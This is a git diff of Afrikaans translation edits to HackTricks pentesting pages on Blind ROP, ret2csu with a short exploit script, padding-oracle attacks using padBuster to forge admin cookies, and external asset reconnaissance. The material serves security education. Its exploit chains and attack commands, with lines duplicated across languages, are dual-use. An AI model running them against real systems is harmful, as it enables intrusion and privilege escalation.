Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kontroleer die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -27,7 +27,7 @@ Hierdie aanval is gebaseer op die volgende scenario:
### **1. Vind kwesbare offset** deur een meer karakter te stuur totdat 'n wanfunksie van die bediener opgespoor word
### **2. Brute-force canary** om dit te lek
### **2. Brute-force kanary** om dit te lek
### **3. Brute-force gestoor RBP en RIP** adresse in die stapel om hulle te lek
@ -35,13 +35,13 @@ Jy kan meer inligting oor hierdie prosesse [hier (BF Forked & Threaded Stack Can
### **4. Vind die stop gadget**
Hierdie gadget laat basies toe om te bevestig dat iets interessant deur die ROP gadget uitgevoer is omdat die uitvoering nie gecrash het nie. Gewoonlik gaan hierdie gadget iets wees wat **die uitvoering stop** en dit is geposisioneer aan die einde van die ROP ketting wanneer daar na ROP gadgets gesoek word om te bevestig dat 'n spesifieke ROP gadget uitgevoer is.
Hierdie gadget laat basies toe om te bevestig dat iets interessant deur die ROP gadget uitgevoer is omdat die uitvoering nie gecrash het nie. Gewoonlik gaan hierdie gadget iets wees wat **die uitvoering stop** en dit is aan die einde van die ROP ketting wanneer daar na ROP gadgets gesoek word om te bevestig dat 'n spesifieke ROP gadget uitgevoer is.
### **5. Vind BROP gadget**
Hierdie tegniek gebruik die [**ret2csu**](ret2csu.md) gadget. En dit is omdat as jy toegang tot hierdie gadget in die middel van sommige instruksies kry, jy gadgets kry om **`rsi`** en **`rdi`** te beheer:
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Hierdie sou die gadgets wees:
@ -50,27 +50,27 @@ Hierdie sou die gadgets wees:
Let op hoe dit met daardie gadgets moontlik is om **2 argumente** van 'n funksie te beheer.
Let ook op dat die ret2csu gadget 'n **baie unieke handtekening** het omdat dit 6 registers van die stapel gaan pop. SO om 'n ketting soos:
Ook, let op dat die ret2csu gadget 'n **baie unieke handtekening** het omdat dit 6 registers van die stapel gaan pop. SO om 'n ketting soos:
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP` te stuur.
`'A' * offset + kanary + rbp + ADDR + 0xdead * 6 + STOP` te stuur.
As die **STOP uitgevoer word**, beteken dit basies dat 'n **adres wat 6 registers** van die stapel pop, gebruik is. Of dat die adres wat gebruik is ook 'n STOP adres was.
Om hierdie **laaste opsie te verwyder** word 'n nuwe ketting soos die volgende uitgevoer en dit mag nie die STOP gadget uitvoer om te bevestig dat die vorige een 6 registers gepop het nie:
`'A' * offset + canary + rbp + ADDR`
`'A' * offset + kanary + rbp + ADDR`
As jy die adres van die ret2csu gadget ken, is dit moontlik om die **adres van die gadgets om `rsi` en `rdi` te beheer** af te lei.
### 6. Vind PLT
Die PLT tabel kan van 0x400000 of van die **gelek RIP adres** van die stapel gesoek word (as **PIE** gebruik word). Die **ingevoerde** van die tabel is **geskei deur 16B** (0x10B), en wanneer 'n funksie aangeroep word, crash die bediener nie selfs al is die argumente nie korrek nie. Ook, om die adres van 'n invoer in die **PLT + 6B te kontroleer, crash ook nie** aangesien dit die eerste kode is wat uitgevoer word.
Die PLT tabel kan van 0x400000 of van die **gelek RIP adres** van die stapel gesoek word (as **PIE** gebruik word). Die **ingevoerde** van die tabel is **geskei deur 16B** (0x10B), en wanneer 'n funksie aangeroep word, crash die bediener nie selfs al is die argumente nie korrek nie. Ook, om die adres van 'n invoer in die **PLT + 6B** te kontroleer crash ook nie nie, aangesien dit die eerste kode is wat uitgevoer word.
Daarom is dit moontlik om die PLT tabel te vind deur die volgende gedrag te kontroleer:
* `'A' * offset + canary + rbp + ADDR + STOP` -> geen crash
* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> geen crash
* `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> geen crash
* `'A' * offset + kanary + rbp + ADDR + STOP` -> geen crash
* `'A' * offset + kanary + rbp + (ADDR + 0x6) + STOP` -> geen crash
* `'A' * offset + kanary + rbp + (ADDR + 0x10) + STOP` -> geen crash
### 7. Vind strcmp
@ -83,7 +83,7 @@ Dit is moontlik om die ligging van **`strcmp`** in die PLT te vind gebaseer op s
* strcmp(\<read addr>, \<non read addr>) -> crash
* strcmp(\<read addr>, \<read addr>) -> geen crash
Dit is moontlik om dit te kontroleer deur elke invoer van die PLT tabel aan te roep of deur die **PLT stadige pad** te gebruik wat basies bestaan uit **'n invoer in die PLT tabel + 0xb** (wat na **`dlresolve`** roep) gevolg in die stapel deur die **invoernommer wat een wil toets** (begin by nul) om al PLT invoere vanaf die eerste een te skandeer:
Dit is moontlik om hiervoor te kontroleer deur elke invoer van die PLT tabel aan te roep of deur die **PLT stadige pad** te gebruik wat basies bestaan uit **'n invoer in die PLT tabel + 0xb** (wat na **`dlresolve`** roep) gevolg in die stapel deur die **invoernommer wat een wil toets** (begin by nul) om al PLT invoere vanaf die eerste een te skandeer:
* strcmp(\<non read addr>, \<read addr>) -> crash
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Sal crash
@ -101,14 +101,14 @@ Onthou dat:
Nadat `strcmp` gevind is, is dit moontlik om **`rdx`** op 'n waarde groter as 0 in te stel.
{% hint style="success" %}
Let daarop dat `rdx` gewoonlik reeds 'n waarde groter as 0 sal huisves, so hierdie stap mag dalk nie nodig wees nie.
Let daarop dat gewoonlik `rdx` reeds 'n waarde groter as 0 sal huisves, so hierdie stap mag dalk nie nodig wees nie.
{% endhint %}
### 8. Vind Write of gelykwaardig
Laastens, dit is nodig om 'n gadget te hê wat data eksterneer om die binêre te eksterneer. En op hierdie oomblik is dit moontlik om **2 argumente te beheer en `rdx` groter as 0 in te stel.**
Laastens, is 'n gadget nodig wat data uit te voer om die binêre uit te voer. En op hierdie oomblik is dit moontlik om **2 argumente te beheer en `rdx` groter as 0 in te stel.**
Daar is 3 algemene funksies wat vir hierdie doel misbruik kan word:
Daar is 3 algemene funksies wat vir hierdie misbruik kan word:
* `puts(data)`
* `dprintf(fd, data)`
@ -116,7 +116,7 @@ Daar is 3 algemene funksies wat vir hierdie doel misbruik kan word:
Echter, die oorspronklike artikel noem slegs die **`write`** een, so kom ons praat daaroor:
Die huidige probleem is dat ons nie weet **waar die write funksie binne die PLT is nie** en ons weet nie **'n fd nommer om die data na ons socket te stuur nie**.
Die huidige probleem is dat ons nie weet **waar die write funksie binne die PLT is nie** en ons weet nie **'n fd nommer om die data na ons soket te stuur nie**.
Echter, ons weet **waar die PLT tabel is** en dit is moontlik om write te vind gebaseer op sy **gedrag**. En ons kan **verskeie verbindings** met die bediener maak en 'n **hoë FD** gebruik in die hoop dat dit met sommige van ons verbindings ooreenstem.

View file

@ -37,10 +37,10 @@ pop r14;
pop r15;
ret;
```
Hierdie gadget laat ons toe om hierdie registers te beheer deur waardes van die stapel in hulle te pop.
This gadget allows us to control these registers by popping values off the stack into them.
2. Die tweede reeks gebruik die waardes wat ons opgestel het om 'n paar dinge te doen:
* **Beweeg spesifieke waardes in ander registers**, wat hulle gereed maak vir ons om as parameters in funksies te gebruik.
2. The second sequence uses the values we set up to do a couple of things:
* **Beweeg spesifieke waardes na ander registers**, wat hulle gereed maak vir ons om as parameters in funksies te gebruik.
* **Voer 'n oproep uit na 'n ligging** wat bepaal word deur die waardes in r15 en rbx bymekaar te tel, en dan rbx met 8 te vermenigvuldig.
```armasm
mov rdx, r15;
@ -80,7 +80,7 @@ gef➤ search-pattern 0x400560
Nog 'n manier om **`rdi`** en **`rsi`** vanaf die ret2csu gadget te beheer, is deur toegang te verkry tot spesifieke offsets:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Kyk na hierdie bladsy vir meer inligting:
@ -179,7 +179,7 @@ payload += ret2win
target.sendline(payload)
target.interactive()
```
### Hoekom Nie Net Libc Direk Gebruik Nie?
### Hoekom nie net libc direk gebruik nie?
Gewoonlik is hierdie gevalle ook kwesbaar vir [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), maar soms moet jy meer parameters beheer as wat maklik beheer kan word met die gadgets wat jy direk in libc vind. Byvoorbeeld, die `write()` funksie vereis drie parameters, en **om gadgets te vind om al hierdie direk in te stel mag nie moontlik wees nie**.
@ -191,8 +191,8 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,8 +1,8 @@
# Padding Oracle
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,8 +15,6 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## CBC - Cipher Block Chaining
@ -25,7 +23,7 @@ In CBC-modus word die **vorige versleutelde blok as IV** gebruik om met die volg
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
Om CBC te ontsleutel, word die **teenoorgestelde** **operasies** gedoen:
Om CBC te ontsleutel, word die **teenoorgestelde** **operasies** uitgevoer:
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
@ -33,10 +31,10 @@ Let op hoe dit nodig is om 'n **versleuteling** **sleutel** en 'n **IV** te gebr
## Boodskap Padding
Aangesien die versleuteling in **vaste** **grootte** **blokkies** uitgevoer word, is **padding** gewoonlik nodig in die **laaste** **blok** om sy lengte te voltooi.\
Aangesien die versleuteling in **vaste** **grootte** **blokken** uitgevoer word, is **padding** gewoonlik nodig in die **laaste** **blok** om sy lengte te voltooi.\
Gewoonlik word **PKCS7** gebruik, wat 'n padding genereer deur die **aantal** **bytes** **nodig** om die blok te **voltooi** te herhaal. Byvoorbeeld, as die laaste blok 3 bytes kort is, sal die padding `\x03\x03\x03` wees.
Kom ons kyk na meer voorbeelde met **2 blokkies van 8bytes lengte**:
Kom ons kyk na meer voorbeelde met **2 blokke van 8bytes**:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
@ -45,13 +43,13 @@ Kom ons kyk na meer voorbeelde met **2 blokkies van 8bytes lengte**:
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Let op hoe in die laaste voorbeeld die **laaste blok vol was, so 'n ander een is net met padding gegenereer**.
Let op hoe in die laaste voorbeeld die **laaste blok vol was, so 'n ander een is gegenereer net met padding**.
## Padding Oracle
Wanneer 'n toepassing versleutelde data ontsleutel, sal dit eers die data ontsleutel; dan sal dit die padding verwyder. Tydens die opruiming van die padding, as 'n **ongeldige padding 'n waarneembare gedrag veroorsaak**, het jy 'n **padding oracle kwesbaarheid**. Die waarneembare gedrag kan 'n **fout**, 'n **gebrek aan resultate**, of 'n **langsame reaksie** wees.
As jy hierdie gedrag waarneem, kan jy **die versleutelde data ontsleutel** en selfs **enige duidelike teks versleutel**.
As jy hierdie gedrag waarneem, kan jy die **versleutelde data ontsleutel** en selfs **enige duidelike teks versleutel**.
### Hoe om te benut
@ -65,7 +63,7 @@ perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -e
```
**Kodering 0** beteken dat **base64** gebruik word (maar ander is beskikbaar, kyk na die hulpmenu).
Jy kan ook **hierdie kwesbaarheid misbruik om nuwe data te enkripteer. Byvoorbeeld, stel jou voor dat die inhoud van die koekie is "**_**user=MyUsername**_**", dan kan jy dit verander na "\_user=administrator\_" en bevoegdhede binne die aansoek opgradeer. Jy kan dit ook doen met `paduster` deur die -plaintext** parameter te spesifiseer:
Jy kan ook **hierdie kwesbaarheid misbruik om nuwe data te enkripteer. Byvoorbeeld, veronderstel dat die inhoud van die koekie is "**_**user=MyUsername**_**", dan kan jy dit verander na "\_user=administrator\_" en bevoegdhede binne die aansoek opgradeer. Jy kan dit ook doen met `paduster` deur die -plaintext** parameter te spesifiseer:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
@ -75,13 +73,13 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
```
### Die teorie
In **samevatting**, jy kan begin om die versleutelde data te ontsleutel deur die korrekte waardes te raai wat gebruik kan word om al die **verskillende vullings** te skep. Dan sal die padding oracle aanval begin om bytes van die einde na die begin te ontsleutel deur te raai watter die korrekte waarde is wat **'n vulling van 1, 2, 3, ens.** skep.
In **samevatting**, jy kan begin om die versleutelde data te ontsleutel deur die korrekte waardes te raai wat gebruik kan word om al die **verskillende opvullings** te skep. Dan sal die padding oracle aanval begin om bytes van die einde na die begin te ontsleutel deur te raai wat die korrekte waarde is wat **'n opvulling van 1, 2, 3, ens.** skep.
![](<../.gitbook/assets/image (561).png>)
Stel jou voor jy het 'n paar versleutelde teks wat **2 blokke** beslaan wat gevorm word deur die bytes van **E0 tot E15**.\
Om die **laaste** **blok** (**E8** tot **E15**) te **ontsleutel**, gaan die hele blok deur die "blok-kodering ontsleuteling" wat die **tussenliggende bytes I0 tot I15** genereer.\
Laastens, elke tussenliggende byte word **XORed** met die vorige versleutelde bytes (E0 tot E7). So:
Om die **laaste** **blok** (**E8** tot **E15**) te **ontsleutel**, gaan die hele blok deur die "blok-kodering ontsleuteling" wat die **intermediêre bytes I0 tot I15** genereer.\
Laastens, elke intermediêre byte word **XORed** met die vorige versleutelde bytes (E0 tot E7). So:
* `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6`
@ -89,38 +87,36 @@ Laastens, elke tussenliggende byte word **XORed** met die vorige versleutelde by
* `C12 = I12 ^ E4`
* ...
Nou, dit is moontlik om **`E7` te wysig totdat `C15` `0x01` is**, wat ook 'n korrekte vulling sal wees. So, in hierdie geval: `\x01 = I15 ^ E'7`
Nou, dit is moontlik om **`E7` te wysig totdat `C15` `0x01` is**, wat ook 'n korrekte opvulling sal wees. So, in hierdie geval: `\x01 = I15 ^ E'7`
So, om E'7 te vind, is dit **moontlik om I15 te bereken**: `I15 = 0x01 ^ E'7`
Wat ons toelaat om **C15 te bereken**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
As ons **C15** weet, is dit nou moontlik om **C14** te bereken, maar hierdie keer brute-force die vulling `\x02\x02`.
As ons **C15** weet, is dit nou moontlik om **C14** te bereken, maar hierdie keer deur die opvulling `\x02\x02` te brute-force.
Hierdie BF is net so kompleks soos die vorige een, aangesien dit moontlik is om die `E''15` waarvan die waarde 0x02 is te bereken: `E''7 = \x02 ^ I15` so dit is net nodig om die **`E'14`** te vind wat 'n **`C14` genereer wat gelyk is aan `0x02`**.\
Dan, doen dieselfde stappe om C14 te ontsleutel: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Volg hierdie ketting totdat jy die hele versleutelde teks ontsleutel.**
### Opsporing van die kwesbaarheid
### Ontdekking van die kwesbaarheid
Registreer en skep 'n rekening en teken in met hierdie rekening.\
As jy **baie keer aanmeld** en altyd die **dieselfde koekie** ontvang, is daar waarskynlik **iets** **verkeerd** in die toepassing. Die **koekie wat teruggestuur word, moet uniek wees** elke keer wat jy aanmeld. As die koekie **altyd** die **dieselfde** is, sal dit waarskynlik altyd geldig wees en daar **sal geen manier wees om dit te ongeldig te maak**.
As jy **baie keer aanmeld** en altyd die **dieselfde koekie** kry, is daar waarskynlik **iets** **verkeerd** in die toepassing. Die **koekie wat teruggestuur word, moet uniek wees** elke keer as jy aanmeld. As die koekie **altyd** die **dieselfde** is, sal dit waarskynlik altyd geldig wees en daar **sal geen manier wees om dit te ongeldig te maak**.
Nou, as jy probeer om die **koekie** te **wysig**, kan jy sien dat jy 'n **fout** van die toepassing ontvang.\
Maar as jy die vulling BF (met padbuster byvoorbeeld) kan jy 'n ander koekie kry wat geldig is vir 'n ander gebruiker. Hierdie scenario is hoogs waarskynlik kwesbaar vir padbuster.
Nou, as jy probeer om die **koekie** te **wysig**, kan jy sien dat jy 'n **fout** van die toepassing kry.\
Maar as jy die opvulling BF (met padbuster byvoorbeeld) kan jy 'n ander koekie kry wat geldig is vir 'n ander gebruiker. Hierdie scenario is hoogs waarskynlik kwesbaar vir padbuster.
### Verwysings
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -15,15 +15,15 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend in geskryf en gesproke Pools vereis_).
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
## Bate ontdekkings
> Jy is gesê dat alles wat aan 'n sekere maatskappy behoort binne die omvang is, en jy wil uitvind wat hierdie maatskappy eintlik besit.
> Jy is gesê dat alles wat aan 'n maatskappy behoort binne die omvang is, en jy wil uitvind wat hierdie maatskappy eintlik besit.
Die doel van hierdie fase is om al die **maatskappye wat deur die hoofmaatskappy besit word** te verkry en dan al die **bates** van hierdie maatskappye. Om dit te doen, gaan ons:
@ -42,10 +42,10 @@ Een opsie is om [https://www.crunchbase.com/](https://www.crunchbase.com) te bes
### **ASNs**
'n Outonome stelselnommer (**ASN**) is 'n **unieke nommer** wat aan 'n **outonome stelsel** (AS) deur die **Internet Assigned Numbers Authority (IANA)** toegeken word.\
'n autonome stelselnommer (**ASN**) is 'n **unieke nommer** wat aan 'n **autonome stelsel** (AS) deur die **Internet Assigned Numbers Authority (IANA)** toegeken word.\
'n **AS** bestaan uit **blokke** van **IP adresse** wat 'n duidelik gedefinieerde beleid het vir toegang tot eksterne netwerke en word deur 'n enkele organisasie bestuur, maar kan uit verskeie operateurs bestaan.
Dit is interessant om te vind of die **maatskappy enige ASN toegeken het** om sy **IP-reekse** te vind. Dit sal interessant wees om 'n **kwesbaarheidstoets** teen al die **gasheer** binne die **omvang** uit te voer en **te soek na domeine** binne hierdie IP's.\
Dit is interessant om te vind of die **maatskappy enige ASN toegeken het** om sy **IP-reekse** te vind. Dit sal interessant wees om 'n **kwesbaarheidstoets** teen al die **gasheer** binne die **omvang** uit te voer en **te soek na domeine** binne hierdie IPs.\
Jy kan **soek** volgens maatskappy **naam**, volgens **IP** of volgens **domein** in [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**Afhangende van die streek van die maatskappy kan hierdie skakels nuttig wees om meer data te versamel:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Noord-Amerika),** [**APNIC**](https://www.apnic.net) **(Asië),** [**LACNIC**](https://www.lacnic.net) **(Latyns-Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Europa). In elk geval, waarskynlik verskyn al die** nuttige inligting **(IP-reekse en Whois)** reeds in die eerste skakel.
```bash
@ -53,7 +53,7 @@ Jy kan **soek** volgens maatskappy **naam**, volgens **IP** of volgens **domein*
amass intel -org tesla
amass intel -asn 8911,50313,394161
```
Ook, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** subdomein-opsomming aggregeer en som outomaties ASN's aan die einde van die skandering op.
Ook, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** subdomein-opsomming aggregeer en som automatisch ASN's aan die einde van die skandering op.
```bash
bbot -t tesla.com -f subdomain-enum
...
@ -76,8 +76,8 @@ You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4
### **Soek na kwesbaarhede**
Op hierdie punt weet ons **alle bates binne die omvang**, so as jy toegelaat word, kan jy 'n paar **kwesbaarheid skandeerders** (Nessus, OpenVAS) oor al die gasheer loods.\
Ook kan jy 'n paar [**poort skanderings**](../pentesting-network/#discovering-hosts-from-the-outside) **of dienste soos** shodan **gebruik om** oop poorte **te vind, en afhangende van wat jy vind, moet jy** in hierdie boek kyk hoe om verskeie moontlike dienste wat loop, te pentest.\
**Dit kan ook die moeite werd wees om te noem dat jy ook 'n paar** standaard gebruikersnaam **en** wagwoorde **lysies kan voorberei en probeer om** dienste te bruteforce met [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
Ook kan jy 'n paar [**poort skanderings**](../pentesting-network/#discovering-hosts-from-the-outside) **of dienste soos** shodan **gebruik om** oop poorte **te vind en afhangende van wat jy vind, moet jy** in hierdie boek kyk hoe om verskeie moontlike dienste wat loop, te pentest.\
**Ook, dit kan die moeite werd wees om te noem dat jy ook 'n paar** standaard gebruikersnaam **en** wagwoorde **lysies kan voorberei en probeer om** dienste te bruteforce met [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domeine
@ -89,7 +89,7 @@ Eerstens moet jy soek na die **hoofdomein**(e) van elke maatskappy. Byvoorbeeld,
### **Reverse DNS**
Soos jy al die IP-reekse van die domeine gevind het, kan jy probeer om **reverse dns opsoekings** op daardie **IP's uit te voer om meer domeine binne die omvang te vind**. Probeer om 'n dns-bediener van die slagoffer of 'n bekende dns-bediener (1.1.1.1, 8.8.8.8) te gebruik.
Soos jy al die IP-reekse van die domeine gevind het, kan jy probeer om **reverse dns opsoekings** op daardie **IP's uit te voer om meer domeine binne die omvang te vind**. Probeer om 'n paar dns bediener van die slagoffer of 'n bekende dns bediener (1.1.1.1, 8.8.8.8) te gebruik.
```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@ -101,7 +101,7 @@ You can also use a online tool for this info: [http://ptrarchive.com/](http://pt
### **Reverse Whois (loop)**
Binne 'n **whois** kan jy 'n baie interessante **inligting** vind soos **organisasie naam**, **adres**, **e-posse**, telefoonnommers... Maar wat selfs meer interessant is, is dat jy **meer bates wat met die maatskappy verband hou** kan vind as jy **omgekeerde whois soektogte deur enige van daardie velde** uitvoer (byvoorbeeld ander whois registrasies waar dieselfde e-pos verskyn).\
Inside a **whois** you can find a lot of interesting **information** like **organisasie naam**, **adres**, **e-pos**, telefoon nommers... Maar wat nog meer interessant is, is dat jy **meer bates wat met die maatskappy verband hou** kan vind as jy **omgekeerde whois soektogte deur enige van daardie velde** uitvoer (byvoorbeeld ander whois registrasies waar dieselfde e-pos verskyn).\
You can use online tools like:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratis**
@ -119,8 +119,8 @@ You can also perform some automatic reverse whois discovery with [amass](https:/
### **Trackers**
As jy die **dieselfde ID van dieselfde tracker** in 2 verskillende bladsye vind, kan jy aanvaar dat **albei bladsye** **deur dieselfde span bestuur word**.\
Byvoorbeeld, as jy dieselfde **Google Analytics ID** of dieselfde **Adsense ID** op verskeie bladsye sien.
If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\
For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages.
There are some pages and tools that let you search by these trackers and more:
@ -132,20 +132,20 @@ There are some pages and tools that let you search by these trackers and more:
### **Favicon**
